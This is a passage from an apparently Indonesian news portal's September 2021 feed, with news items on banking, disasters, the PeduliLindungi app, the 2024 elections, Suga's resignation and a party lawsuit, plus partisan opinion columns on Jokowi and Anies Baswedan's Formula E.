merasa, 'oh, bisa enggak kita ulang wawancaranya? Saya tadi memikirkan hal lain, saya salah bicara'. Bayangkan bagaimana rasanya untuk Diana. Bayangkan merasa terpojok. Pada suatu titik kau akan merasa murka." Sutradara Larrain yang sebelumnya membuat biopik "Jackie" tentang Jackie Kennedy mengatakan dia ingin menceritakan kisah Diana karena kehidupannya adalah kebalikan dari kisah dongeng. "Ini adalah kisah putri yang memutuskan pergi dari gagasan menjadi ratu karena dia ingin jadi diri sendiri." Riset mendalam dilakukan untuk film ini, tapi yang disajikan dalam "Spencer" adalah karya fiksi, membayangkan apa yang mungkin terjadi kepada Diana di hari-hari ketika dia memutuskan untuk bercerai. "Kami tidak bertujuan membuat dokudrama, kami ingin membuat sesuatu dengan elemen fakta, lalu menggunakan imajinasi." (mth)

Bank Syariah Indonesia Perkuat Layanan Terbaik Lewat Transformasi Digital

Jakarta, FNN - Bank Syariah Indonesia (BSI) memperkuat Ultimate Service yang memberikan layanan terbaik kepada nasabah dengan mengedepankan solusi digital dan uniqueness layanan Bank Syariah. “Dengan memberikan layanan dan engagement yang kuat bagi nasabah dan pemangku kepentingan, diharapkan dapat tercipta loyalitas nasabah BSI,” kata Direktur Direktur Sales dan Distribusi BSI Anton Sukarna dalam keterangan resmi di Jakarta, Sabtu, 4 September 2021. Pada Hari Pelanggan Nasional (Harpelnas) ini, Anton menyampaikan terima kasih atas kepercayaan dan dukungan yang diberikan nasabah melewati legal merger hingga proses operational merger. Ia berharap BSI bisa terus memberikan layanan dan produk terbaiknya kepada nasabah. Bagi BSI, setiap kepuasan dan kepercayaan pelanggan merupakan bekal bagi bank tersebut dalam membangun ekonomi dan perbankan syariah di Indonesia. “Hal ini dibuktikan dengan adanya transformasi layanan digital yang dapat diakses nasabah di mana pun dan kapan pun. Kami mengapresiasi seluruh nasabah dan masyarakat yang terus mendukung proses migrasi menjadi nasabah kami dengan mengaktifkan rekening melalui BSI Mobile,” ujar Anton, sebagaimana dikutip dari Antara. Anton menyampaikan melalui transformasi digital yang memberikan layanan dan engagement yang kuat bagi nasabah dan pemangku kepentingan, diharapkan dapat tercipta loyalitas nasabah BSI. “Transformasi bank go digital tentu menjadi sebuah tantangan yang harus dihadapi. Sehingga BSI berupaya menjadi beyond banking melalui berbagai aplikasi yang memudahkan nasabah mengakses layanan finansial melalui BSI Mobile,” katanya. Ia menjelaskan, pengembangan ekosistem digital produk dan fitur BSI Mobile akan terus dilanjutkan. BSI Mobile diharapkan bisa dimanfaatkan nasabah dan masyarakat luas untuk mengakses pembiayaan. Tidak hanya layanan perbankan atau transaksi finansial, namun juga aktivitas yang berkaitan dengan gaya hidup sehari-hari nasabah. Berbagai solusi yang dihadirkan BSI Mobile dalam mempermudah nasabah di antaranya fitur pembukaan rekening online antara lain, kemudahan transaksi melalui fitur transfer, belanja online, transaksi QRIS, top up pulsa, beli token listrik, top up e-wallet, dan pembayaran sekolah. BSI Mobile juga memiliki fitur produk BSI Tabungan E-Mas dan juga Gadai Emas via Online. Adapun per Juni 2021, transaksi digital BSI meningkat dengan nilai transaksi kanal digital sudah menembus Rp 95,13 triliun. Kontribusi terbesar berasal dari transaksi melalui layanan BSI Mobile yang naik 83,56 persen (yoy). “Jika dirinci, sepanjang Januari-Juni 2021, volume transaksi di BSI Mobile mencapai Rp 41,99 triliun. Jumlah tersebut mengalami pertumbuhan 109,82 persen (yoy). Hal tersebut didorong oleh jumlah user mobile banking yang menembus 2,5 juta pengguna,” kata Anton. (MD).

Bencana Agustus 2021 Berdampak Kerusakan Lebih Tinggi dari Tahun Lalu

Jakarta, FNN - Sebanyak 155 peristiwa bencana alam yang dilaporkan berlangsung pada Agustus 2021 menurun dari periode yang sama tahun lalu, namun memiliki dampak kerusakan lebih tinggi, kata seorang pejabat di Badan Nasional Penanggulangan Bencana (BNPB). "Sepanjang Agustus, bencana hidrometeorologi masih mendominasi di wilayah Indonesia," kata Plt Kepala Pusat Data, Informasi dan Komunikasi Kebencanaan BNPB Abdul Muhari melalui pernyataan tertulis yang diterima di Jakarta, Sabtu. Muhari mengatakan sepanjang Agustus 2021 terjadi 61 kali banjir, kebakaran hutan dan lahan (karhutla) 44 kali, cuaca ekstrem 29 kali, tanah longsor 17 kali, kekeringan dua kali, gempa bumi satu kali dan gelombang pasang atau abrasi satu kali. "Sebagai dampak dari bencana tersebut, BNPB mencatat korban meninggal sembilan orang," katanya. Jika dilihat dari sebaran kejadian, kata Muhari, enam provinsi dengan jumlah kejadian bencana paling tinggi yaitu Provinsi Jawa Barat dengan 26 kejadian, Kalimantan Tengah 18 kejadian, Aceh 16 kejadian, Kalimantan Selatan 15 kejadian, Sumatera Utara 12 dan Sulawesi Selatan 11 kejadian. Sementara itu, jika dilihat perbandingan data pada bulan yang sama antara 2020 dan 2021, kata Muhari, jumlah kejadian bencana pada tahun ini turun 35,68 persen. "Pada Agustus 2020 jumlah bencana sebanyak 241 kejadian, sedangkan pada 2021 sebanyak 155," katanya. Meskipun jumlah kejadian turun, kata Muhari, namun bencana berdampak lebih besar, seperti korban meninggal naik 28,67 persen dan kerusakan rumah naik 660,67 persen. "Meskipun jumlah kejadian bencana lebih sedikit, magnitude atau kekuatan bencana berpengaruh baik terhadap dampak maupun kerugiannya," katanya. Ia menambahkan situasi tersebut perlu menjadi perhatian penting untuk mengevaluasi kembali aspek mitigasi dan kesiapsiagaan di lokasi-lokasi yang setiap tahun diterpa bencana yang sama. (mth)

Jokowi Ria

By M Rizal Fadillah JIKA kita memberi makan burung dara yang berkerumun maka kita melempar dan menaburkan makanan. Begitu juga ketika memberi makan ayam-ayam, maka hewan itu akan berebut mematuk makanan yang baru ditaburkan tersebut. Senang hati rasanya melihat perebutan seru. Begitulah gambaran Jokowi yang melempar bingkisan ke tengah masyarakat yang berkumpul. Mereka tampaknya dianggap hewan-hewan yang mesti diberi makan. Harus berpayah-payah masuk selokan kotor karena kaos yang dilempar ternyata nyebur ke selokan tersebut. Presiden telah kehilangan nurani kemanusiaan. Sungguh mengerikan. Tega rakyat diperlakukan demikian apalagi mereka harus berdesakan, bertubrukan, atau berebutan untuk mendapatkan bingkisan yang dilempar-lempar tersebut. Hal demikian sebenarnya adalah satu bagian saja dari episode kepemimpinan Presiden Jokowi. Drama, hiburan, pernak pernik yang ada di sekitar Jokowi. JIka dulu ada Kamera Ria, Aneka Ria Safari, atau Ria Jenaka, maka kini ada Jokowi Ria. Ini bukan Jokowi-nomics karena terlalu berat menampilkan prestasi ekonomi khas Jokowi yang melesatnya ke bawah, bukan pula Jokowi-mania atau kharisma karena mereka yang berkerumun di sekitar mobil Presiden belum tentu karena cinta kepada Jokowi tetapi cinta kepada sembako, bingkisan, dan kaos. Mereka nekad melanggar prokes demi lempar-lemparan itu. Jokowi Ria dalam konteks agama tentu dilarang karena merupakan akhlak buruk. Tepatnya Jokowi riya. Riya difoto sendiri di pantai, di sawah, atau jongkok di pinggir jalan kereta dan di kolam kodok-cebong. Jika hal itu tujuannya adalah agar dipuji puji, maka haram hukumnya. Gila pujian namanya. Kasus para Ketum Partai koalisi yang berlomba memuji-muji Jokowi saat dikumpulkan di Istana adalah fenomena ganjil dan berbahaya karena bisa membuat Jokowi melambung atau menggelembung. Belum ada prestasi yang signifikan soal penanganan Covid 19. Justru faktanya adalah hutang dan pemborosan keuangan. Korupsi pun terjadi. Rosulullah SAW mengajarkan apabila ada orang di sekitar yang memuji-muji di hadapan kita maka lemparlah ia dengan pasir. Nabi mengingatkan bahwa puja-puji itu dapat mencelakakan dan membuat kita menjadi orang yang berkarakter narsistik atau riya'. Nah semestinya Pak Jokowi kemarin melempar pasir ke wajah Mega, Prabowo, Airlangga, Zulkifli, Surya Paloh dan lainnya karena puja puji mereka itu jelas berbahaya. Dapat melalaikan dan menjatuhkan. Tetapi sikap itu berlaku jika memang Jokowi mau mengikuti Sabda Nabi. Jika tidak ? "Yo wes, sakarepmu lah". Emang gue pikirin. *) Pemerhati Politik dan Kebangsaan

Interpelasi Anies: PDIP dan PSI Masih Ada Luka Pilkada 2017?

By Asyari Usman JAJARAN pimpinan PDIP Jakarta dan pimpinan Partai Solidaritas Indonesia (PSI) merasa sangat senang dikirimi karangan bunga yang mendukung interpelasi terhadap Gubernur Anies Baswedan terkait penyelenggaraan Formula E (FE). Mereka mengatakan, balap mobil listrik itu akan membuang-buang uang rakyat. Interpelasi adalah hak anggota DPR atau DPRD untuk meminta keterangan kepada pemerintah atau pemerintah daerah tentang kebijakan strategis yang berdampak luas. Soal penyelenggaraan balap mobil listrik internasional (yang dinamakan Formula E), memang bisa saja dibawa ke interpelasi. Salahkah Anies membawa FE ke Jakarta? Pertanyaan ini hendaklah dijawab secara objektif melihat kondisi dan kemampuan Pemprov DKI. Faktor lainnya adalah edukasi tentang energi bersih dan bebas polusi. Formula E dibawa ke Jakarta bukan karena Anies ingin dilihat top. Bukan juga karena gagah-gagahan. FE adalah simbol “green energy” (energi hijau). Dengan menghadirkan FE di Indonesia, Gubernur Anies ingin berpartisipasi dalam menggalakkan penggunaan mobil yang tidak berbahan bakar fosil (minyak bumi). Harus diakui, di seluruh dunia upaya penggalakan mobil listrik (green energy) tidaklah mudah. Jumlah kendaraan listrik hanya 2% dari total kendaraan yang diproduksi. Hanya orang-orang yang memiliki kesadaran yang tinggi tentang lingkungan, yang antusias memakai mobil listrik. Tetapi, kampanye mobil listrik harus dilakukan terus-menerus. Dan itulah salah satu tujuan Anies menyelenggarakan FE di Indonesia. Untuk menumbuhkan kesadaran tentang kendaraan bebas polusi. Formula E adalah bagian dari kampanye panjang dan melelahkan untuk menggalakkan “clean energy” (energi bersih). Apakah Pak Gubernur perlu ikut dalam kampanye ini? Pastilah perlu. Jakarta adalah salah satu kota di dunia yang menghasilkan polusi asap kendaraan dalam jumlah besar. Jadi, dari sisi ini, Anies berpikir jauh ke depan. Strategi yang menjangkau keperluan mendesak untuk membebaskan ibukota dari polusi kendaraan berbahan bakar minyak. Biaya penyelenggaraan Formula E memang relatif besar. Sampai sekitar 4.4 triliun. Sekitar 10% dari pendapatan asli daerah (PAD) Jakarta yang pada 2018 lalu mencapai 44.5 triliun. Memang di masa wabah Covid ini PAD menurun drastis. Dilihat sepintas, biaya FE itu tidaklah kecil? Tetapi, bukan juga angka yang akan “menyulitkan” keuangan Pemprov. Lagi pula harus diingat bahwa biaya 4.4 triliun itu adalah untuk penyelenggaraan selama 5 (lima) tahun, mulai tahun 2022. Kalau para anggota DPRD dari PDIP dan PSI hanya melihat biaya penyelenggaraan Formula E dengan kaca mata kuda, tentu terasa cukup besar. Namun, perlu ditengok pula aspek pendidikan lingkungan yang akan dihasilkannya. Jadi, penyelenggaraan Formula E tidak hanya sekadar menghadirkan balap internasional di Indonesia. Perhelatan ini merupakan “politik energi” Anies yang sangat diperlukan guna mendorong penggunaan kendaraan bebas polusi. Yaitu, kendaraan bertenaga listrik. Saudara-saudari dari PDIP dan PSI tak mungkin tidak paham tentang “clean energy” (energi bersih). Untuk sektor transportasi, mobil listrik adalah masa depan yang sedang disiapkan oleh semua negara maju di dunia. Indonesia tidak mungkin “asal ikut” saja dalam proses peralihan energi yang sangat krusial saat ini. Para pakar polusi memberikan peringatan bahwa seluruh dunia hanya punya waktu 10 tahun saja untuk pindah ke energi bersih sebelum terjadi “climate change” (perubahan iklim) yang sangat berbahaya. Kita semua, termasuk para politisi, hendaklah membaca persoalan besar yang bakal melanda manusia. Partisipasi Anies untuk mendorong penggunaan mobil listrik lewat Formula E, belum apa-apa dibandingkan invetasi besar negara-negara lain dalam upaya melenyapkan polusi. Terakhir, kepada bapak-ibu dari PDIP dan PSI di DPRD DKI. Marilah kita melihat lebih objektif dan jauh ke depan. Mungkin perlu ditinjau ulang. Apakah interpelasi yang Anda gagas untuk Formula E itu benar-benar bermotifkan kepentingan publik, atau karena masih ada luka Pilkada 2017? Semoga tidak![] (Penulis wartawan senior FNN)

Satgas: Aplikasi PeduliLindungi Efektif Permudah Aktivitas Masyarakat

Jakarta, FNN - Ketua Bidang Penanganan Kesehatan Satgas COVID-19 Alexander K. Ginting mengatakan aplikasi PeduliLindungi secara efektif dapat mempermudah masyarakat dalam menjalankan aktivitas sehari-hari dengan menjadi lebih cepat dan mudah. “Aplikasi ini memudahkan misalnya di bandara, kita tidak perlu berlama-lama. Cukup dengan menekan NIK bisa berjalan dengan cepat. Demikian kalau kita memasuki toko perbelanjaan, dengan screen shoot barcode saat melakukan scanning, maka itu bisa berjalan dengan cepat,” kata Alexander saat dihubungi ANTARA di Jakarta, Jumat. Alexander menjelaskan, tujuan dibuatnya aplikasi PeduliLindungi antara lain mempermudah administrasi kesehatan masyarakat saat melakukan suatu kegiatan, mengurangi kontak fisik antar individu juga memberikan informasi terkait tingkat bahaya COVID-19 di suatu daerah dan vaksinasi. Aplikasi tersebut, kata dia, dapat dimanfaatkan sebagai paspor kesehatan saat seseorang akan berpergian. Hal tersebut akan membantu masyarakat mencatat tempat-tempat yang pernah dikunjungi, sehingga mempermudah pendektesian penularan COVID-19. “Jadi aplikasi itu berguna untuk yang bersangkutan sebagai paspor dia pergi ke mana-mana dan sebagai alat untuk mengendalikan bahwa kapan dia vaksin, kapan dia pemeriksaan PCR, sehingga tercatat semua di aplikasi tersebut,” kata dia. Selain mempermudah aktivitas melalui data kesehatan, dia mengatakan aplikasi itu juga efektif mencegah penularan COVID-19, karena kondisi seseorang dapat diketahui berdasarkan warna-warna yang muncul atau berubah pada aplikasi. “Aplikasi akan berubah warna. Jadi kalau kita sudah vaksinasi dua kali, maka warna pada aplikasi kita itu hijau. Kalau vaksin baru satu kali, warna aplikasi itu jadi kuning,” ujarnya. Tidak hanya warna untuk vaksinasi, warna tersebut akan berubah menjadi hitam apabila seseorang terkonfirmasi positif virus COVID tipe SARS-CoV-2. “Makanya setiap masuk ke mall, akan terlihat warnanya memberi tahu. Untuk yang positif kalau hitam langsung akan disuruh ke isoter atau pulang untuk isolasi mandiri,” kata Alexander. Warga RT 03 RW 05 Jagakarsa, Jakarta Selatan Farah (22) mengatakan hingga hari ini dirinya merasa terbantu oleh informasi-informasi yang ada dalam fitur PeduliLindungi. "Awalnya karena mau lihat sertifikat COVID-19. Lalu karena sebelumnya pengen vaksin, jadi cari tahu di sana vaksin disediakan di mana saja, Jadi download PeduliLindungi buat cari tahu masalah vaksin saat itu,” kata Farah. Farrah menjelaskan, aplikasi tersebut tidak hanya membantu mengecek layanan vaksinasi namun juga mengetahui tingkat bahaya COVID-19 di setiap daerah, sehingga membentuk sebuah rasa aman dalam dirinya untuk memproteksi diri lebih kuat dari berbagai virus yang ada. “Merasa menjadi lebih aman ya. Karena saya jadi mudah mengetahui tempat tujuan saya ini zonanya apa, jumlah orang yang positif berapa, jadi merasa lebih aman seperti itu,” ucap dia. Seorang karyawan kantor di Jakarta Selatan Fina (23) juga mengatakan melalui PeduliLindungi masyarakat tidak perlu harus selalu mencetak surat bukti telah divaksin atau hasil tes yang telah dilakukan, sehingga membuat pembawaan dokumen menjadi lebih tertata, “Terbantu sekali ya, karena jika saya ingin vaksin tinggal tunjukkan aplikasinya tanpa perlu print dokumen secara fisik. Dapat memantau statistik kasus COVID-19 di lokasi terdekat maupun umum ya,” kata dia. Ia mengatakan sebagai seorang pekerja, dirinya merasa lebih terpantau saat menjalani mobilitas. Melalui pemantauan itulah, dirinya dapat melindungi diri sendiri dan orang lain. “Sangat bantu sekali ya, terutama untuk tracking kita sudah pergi kemana saja,” kata Fina. (mth)

Dirjen Polpum Kemendagri: Tantangan Pemilu 2024 Sangat Besar

Jakarta, FNN - Direktur Jenderal Politik dan Pemerintahan Umum Kementerian Dalam Negeri (Kemendagri) Bahtiar mengatakan tantangan di Pemilihan Umum (Pemilu) 2024. Bahtiar dalam keterangannya diterima di Jakarta Jumat, mengatakan bahwa pelaksanaan pemilu dan pilkada pada tahun 2024 merupakan hajatan demokrasi besar dalam waktu yang sama sehingga butuh persiapan yang matang dan antisipatif. "Sangat besar dan tugas-tugas berat seluruh penyelanggara pun sudah di depan mata," kata Bahtiar. Dalam memperkuat persiapan pemilu itu sekaligus menghadapi tantangan-tantangan yang mungkin terjadi, Bahtiar memandang penting pembiayaan sejak tahapan persiapan. "Jadi, persiapan harus dikasih anggaran, juga untuk anggaran IT, sosialisasi, dan lainnya. Berikan anggaran yang cukup di awal. Mohon maaf, anggaran pada masa persiapan itu yang penting karena akan menentukan selanjutnya," kata Bahtiar. Bahtiar mengutarakan bahwa pelaksanaan Pemilu 2024 perlu strategi dan metode untuk meyakinkan publik yang baik karena pada waktu yang sama rakyat yang menjadi konstituen juga beragam sekali. "Bayangkan, pemilu diikuti jumlah calon anggota DPRD kabupaten, kota, dan provinsi, serta calon anggota DPR RI, kemudian jumlahnya dikali jumlah partai. Belum lagi calon bupati, wali kota, dan presiden beserta tim sukses," katanya. Kendati demikian, Bahtiar bersyukur penyelenggaraan Pemilu 2024 memiliki waktu persiapan yang lumayan cukup, yakni 2,5 tahun. "Harus dimaksimalkan. Kita punya pengalaman keberhasilan Pilkada Serentak 2020," ujarnya. Sementara itu, anggota KPU Pusat I Dewa Kade Wiarse Raka Sandi menyampaikan sejumlah langkah persiapan. Persiapan yang harus disusun sejak saat ini, menurut dia, antara lain penyusunan regulasi, pengembangan aplikasi infrastruktur, uji coba dan simulasi, waktu sosialisasi kepada pemangku kepentingan terkait, dan bimbingan teknis. Salah satu antisipasi yang perlu dilakukan, lanjut dia, adalah COVID-19 masih mewabah pada Pemilu 2024. Maka, harus disiapkan anggaran tambahan di luar pelaksanaan pemilu, yakni anggaran akomodasi protokol kesehatan. "Persediaan APD di daerah dan lainnya harus diantisipasi karena bersamaan dan pada tahun anggaran yang sama. Akan tetapi, kita berharap pandemi berakhir sehingga beban anggaran bisa berkurang," ujarnya. (mth)

Perdana Menteri Jepang Yoshihide Suga Akan Mundur

Tokyo, FNN - Perdana Menteri Jepang, Yoshihide Suga akan mundur dari jabatannya. Ia juga tidak akan mencalonkan diri dalam pemilihan pemimpin partai yang sedang berkuasa. Menurut laporan kantor berita Jepang, Kyodo, Jumat (3/9/2021), pemilihan pemimpin partai dijadwalkan September 2021. Suga tidak mencalonkan diri lagi, guna menyiapkan panggung kepada penggantinya, setelah hanya setahun ia menjabat sebagai pemimpin di negeri sakura itu. Suga yang mengambil-alih kepemimpinan setelah Shinzo Abe mengundurkan diri pada September tahun lalu karena alasan kesehatan, melihat peringkat dukungannya anjlok di bawah 30 persen saat Jepang berjuang melawan gelombang infeksi Covid-19 terburuk menjelang pemilihan umum tahun 2021. Pemilihan ketua partai dijadwalkan 29 September 2021. Pemenangnya dipastikan menjadi perdana menteri karena mayoritas LDP (Partai Demokrat Liberal) di majelis rendah. Pemerintah Jepang telah mempertimbangkan menggelar pemilu 17 Oktober mendatang. Suga berencana merombak kabinetnya dan sejumlah petinggi partai Akan tetapi, rencana tersebut tidak lagi valid. Dua sumber partai mengatakan kepada Reuters secara anonim karena sensitivitas situasi tersebut. Fumio Kishida, mantan Menteri Luar Negeri Jepang, berlomba memenangkan posisi ketua partai. Kishida, Kamis lalu mengkritisi respon Suga terhadap virus corona dan mendesak paket stimulus melawan pandemi. Tidak seperti tahun lalu, anggota akar rumput LDP akan memberikan suaranya bersama dengan anggota parlemen yang membuat pemilihan ketua partai lebih sulit diprediksi. Anggota parlemen pemula yang takut kehilangan kursi mereka, mungkin berhati-hati mengikuti perintah seniornya. (MD).

Gugatan KLB Ilegal Deli Serdang Kadaluarsa dan Tidak Berdasar Hukum

Jakarta, FNN - Sidang perkara No. 154/G/2021/PTUN-JKT di PTUN Jakarta sudah masuk dalam tahapan Bukti Surat, dimana para pihak, Penggugat (KLB Deli Serdang) dan Tergugat Intervensi (DPP Partai Demokrat), masing-masing telah menyerahkan bukti-bukti. KLB Deli Serdang pimpinan Moeldoko dan DPP Partai Demokrat pimpinan Agus Harimurti Yudhoyono telah menyerahkan bukti-bukti dokumen kepada Majelis Hakim yang dipimpin oleh Bambang Soebiyantoro, SH. MH, Kamis, 2 September 2021. Hamdan Zoelva, Kuasa Hukum DPP Partai Demokrat pimpinan AHY menegaskan kembali, “Pertama, gugatan pihak KLB Ilegal Deli Serdang yang ditujukan kepada Menkumham Yasonna Laoly di PTUN Jakarta telah kadaluarsa dan tidak berdasar hukum.” Hal tersebut berlandaskan UU No. 51 Tahun 2009 tentang Peradilan Tata Usaha Negara yang telah tegas menyatakan, tenggat waktu untuk menggugat Putusan Pejabat Tata Usaha Negara dalam hal ini Menkumham tidak boleh melewati batas waktu 90 hari sejak diputuskan. Menurut Hamdan, pihak KLB Deli Serdang telah melakukan gugatan terhadap Menkumham terkait SK pengesahan AD/ART Partai Demokrat pada 18 Mei 2020 dan SK Kepengurusan DPP Partai Demokrat (2020 – 2025) pada 27 Juli 2020. Dengan telah diterbitkannya Lembaran Berita Negara RI No.15 pada 19 Februari 2021 terkait kedua SK Menkumham RI itu maka berdasarkan Azas Publisitas, setiap orang/kader/anggota partai dan masyarakat dianggap telah mengetahui kedua objek yang diterbitkan Menkumham. “Kedua, gugatan pihak KLB Ilegal ini juga tidak mempunyai legal standing. Sebab, para Penggugat telah diberhentikan secara tetap sebagai anggota Partai Demokrat”. “Ketiga, gugatan ini juga kabur dan tidak jelas karena dalil gugatan para penggugat telah mencampuradukkan antara dalil gugatan objek TUN dengan dalil gugatan perselisihan internal partai yang menjadi ranah dan kewenangan Mahkamah Partai”. Menurut mantan Ketua Mahkamah Konstitusi (MK) tersebut, PTUN Jakarta tidak memiliki kewenangan untuk mengadili perkara ini karena dalil gugatannya itu mempermasalahkan internal Partai Demokrat. Padahal UU Parpol secara tegas menyatakan bahwa Perselisihan Partai Politik diselesaikan internal Partai Politik yang dilakukan oleh Mahkamah Partai. Dimana Keputusan Mahkamah Partai bersifat final dan mengikat. Anggota Komisi III DPR RI Hinca Pandjaitan yang turut menghadiri sidang bukti tersebut menyatakan, “Untuk mematahkan upaya manipulasi fakta yang dilakukan Gerombolan KSP Moeldoko, DPP Partai Demokrat yang sah di bawah kepemimpinan AHY telah menyerahkan 31 bukti.” (mth)

Niat Pak Jokowi Sih Baik...

Oleh Ady Amar *) ADA saja ulah Presiden Jokowi yang tampak salah di mata mereka yang kerap mengkritisinya. Semua yang dilakukan dikesankan salah. Begini salah, begitu salah... segalanya lalu tampak salah. Apa memang benar-benar salah yang dilakukannya, atau itu cuma nyinyiran kaum yang memilih tempat tidak sejajar dengannya. Pak Jokowi masuk kampung ke luar kampung pun dikomentari, itu sih blusukan style yang dipilihnya, memastikan jalannya pelaksanaan vaksin di sebuah Kelurahan di Jakarta, eh kok malah dikatakan, itu sih kerjaan mantri kesehatan. Juga saat ninjau peternakan bebek di Kalimantan Tengah eh dikatakan, itu cara ia menghindar dari istana yang tengah dikepung para demonstran UU Cipta Kerja. Pokoknya Pak Jokowi terkesan salah terus, dan jadi bahan candaan. Mungkin tak ada presiden sebelum-sebelumnya yang dijadikan candaan melebihi Pak Jokowi. Tapi ya biasa sajalah wong namanya publik figur sekelas presiden, maka wajar jika sering ditiup angin kencang. Makin tinggi jabatan seseorang, maka goyangan angin akan semakin keras. Kebiasaan Pak Jokowi ini sepertinya memang suka mancing-mancing agar ada komen tidak sedap yang didapat. Mungkin harapnya, makin banyak yang nyinyir komen tidak wajar tentangnya, itu bisa meluruhkan dosa-dosanya. Makanya ia tampak mengulang hal yang sama dilakukan, yang lalu mengundang cibiran nyinyir banyak pihak, dan sepertinya itu nyinyiran para pihak yang bukan sembarang nyinyir. Itu bentuk protes yang sepantasnya. Mengulang hal yang sama pada waktu dan cara tidak tepat memang acap dilakukan Presiden Jokowi. Dan itu tampak kontradiktif. Tampaknya hal itu yang mengundang komen tidak sedap atasnya. Beberapa hari sebelumnya, Presiden Jokowi mengumumkan lanjutan PPKM, artinya pelarangan terhadap keramaian yang menciptakan kerumunan, tapi justru ia lagi-lagi yang menciptakan kerumunan. Saat kunjungan ke Cirebon Selasa (31 Agustus), Jokowi membagi-bagikan sembako, yang mengundang kerumunan massa saling dorong. Kesan yang ditampakkan Pak Jokowi itu memang bukan kesan yang baik, dan jika muncul komen nyinyir menyikapinya, itu konsekuensi atas sikapnya yang kontradiktif. Bagaimana mungkin bisa berkumpul sikap melarang dan melanggar sekaligus pada diri seseorang, dan itu dilakukan seorang Presiden. Melihat dari Teori Millon Niat Presiden Jokowi itu sih sebenarnya baik, tapi dilakukan pada waktu yang tidak tepat. Dan bahkan masuk kategori salah. Kebiasaan mendatangi rakyat langsung dengan membagi-bagi sembako dan apalagi melempar-lempar bingkisan pada kerumunan, pada masa pandemi lagi, itu tentu bukan hal tepat bahkan masuk kategori pelanggaran. Keheranan kelompok yang biasa mengkritisinya, tampak wajar. Sikap Presiden Jokowi, yang di satu saat melarang kerumunan, tapi tetap berharap punya keistimewaan boleh melanggar larangan yang dibuatnya, itu hal aneh. Sepertinya, keinginan untuk melanggar itu bukan hal yang diniatkan, tapi jadi kebiasaan dan keasyikan tersendiri. Senang melihat orang berebutan, memang pada orang-orang tertentu jadi keasyikan tersendiri. Tidak salah jika lalu orang menyebut ada sikap yang salah yang dipunyai Presiden Jokowi dengan melempar-lemparkan bingkisan, itu seperti menghina akal sehat saja. Bukankah itu laku merendahkan dan bahkan bisa disebut penghinaan, meski tidak dimaksudkan demikian. Presiden Jokowi seolah ingin mengatakan, ini cara saya menghibur rakyat yang saya temui di jalan. Memangnya tidak ada cara lain bisa dilakukan, dengan tidak harus melempar-lempar bingkisan, yang bisa menyenangkan rakyat. Memang rakyat yang tengah terpuruk dan butuh sembako tidak akan pernah merasa risih diperlakukan demikian. Tapi akal sehat pastilah menolaknya. Melihat cara Presiden Jokowi mendekati rakyat, dengan memilih model yang menimbulkan kerumunan, dengan melempar-lempar bingkisan, itu sebenarnya bukan cuma membuat setidaknya orang yang menerima senang, tapi terutama justru membuat dirinya senang. Melihat tangkapan orang yang menerima lemparan bingkisan sambil berebutan, itu akan menyenangkan buatnya. Apalagi sampai adegan nyosop segala. Saya jadi teringat pada masa kanak-kanak dulu, dimana kawan sepermainan yang tergolong kaya dibanding yang lainnya, suka "menggarap" kawan lainnya dengan kelakuan tidak wajar. Tentu yang disasarnya kawan yang memang dari keluarga yang secara ekonomi benar-benar sulit... Ditraktir oleh kawan keluarga kaya tadi, tapi dengan tantangan makan rujak dengan lombok 25 biji. Kawan yang berharap bisa makan rujak tadi mengiyakan tantangan tadi. Dimakannya dengan lahap rujak itu dengan mulut yang menahan pedas dan dahi berpeluh, sampai habis sepiring beserta bumbu-bumbunya. Itu sesuai kesepakatan bahwa piring harus bersih mengkilap. Kawan yang mentraktir tadi senang melihat adegan itu, sambil tertawa-tawa lepas tanda puas. Seorang kawan bijak yang dalam segi usia lebih tua menasihati, mengapa mentraktir harus dengan cara tidak baik. Nasihat itu diabaikan, baik kawan yang mentraktir maupun yang ditraktir dengan memilih tidak menanggapinya. Bukannya lakunya itu berhenti, justru jumlah lomboknya ditingkatkan menjadi 30 biji dan seterusnya... tampaknya "menyiksa" itu jadi keasyikan tersendiri buatnya. Itu masa kanak-kanak, tentu kepribadian belum terbentuk sempurna, dan nilai-nilai agama belum tertanam dengan baik. Maka, kelakuan pada masa kanak-kanak itu bisa dimengerti, meski berharap saat ini tidak ada bullying anak-anak jadi model kenakalan dengan "menyiksa" pihak kawan lainnya. Teori Millon (Theodore Millon), salah satu di antara beberapa teori dalam ilmu kepribadian yang terkenal. Teori ini melihat kepribadian seseorang yang tidak wajar, dan menyimpulkan 14 macam kepribadian, yang itu bisa dikelompokkan menjadi 3 kelompok besar. Meski demikian, terjadi juga percampuran kepribadian pada seseorang, yang memiliki beberapa ragam kepribadian berbeda, dan itu tentu makin tidak wajar. Tiga kelompok besar, itu dikategorikan dalam kelompok A, B dan C. Kelompok A, disebut kelompok dengan kepribadian unik. Kelompok B, biasa disebut dengan kelompok berisik. Sedang kelompok C, disebut kelompok pendiam dan cenderung berada dalam kecemasan. Dari ke-14 jenis kepribadian, itu di antaranya adalah depresive, narsistik, antisocial, sadistic, negativistic, paranoid, schizoid, avodant, depressive, dependent, histrionik, compulsive, masochistik, dan schizotipal. Tidak tahu persis, saya dan Anda ada dikategori mana dalam teori Millon, dan tentu kepribadian Pak Jokowi juga ada di kelompok mana, itu bisa dilihat dari kepribadian tidak wajar yang cenderung dilakukan terus-menerus. Tapi tentu tidak boleh gegabah membuat kesimpulan, bahwa seseorang memiliki kepribadian tidak wajar, hanya melihat luarnya saja. Dibutuhkan kajian yang lebih mendalam dan komprehensif, tentu itu tidak bisa dipukul rata. Tulisan ini tidak dimaksudkan menilai kepribadian seseorang, apalagi kepribadian seorang Presiden Jokowi, tapi lebih pada menjelaskan, bahwa niat baik saja untuk membantu, itu tidak cukup... apalagi dengan cara lempar-lempar bingkisan. Tentu itu tak elok dipandang mata... (*) *) Kolumnis

KPK Ayo Periksa Menteri Agama

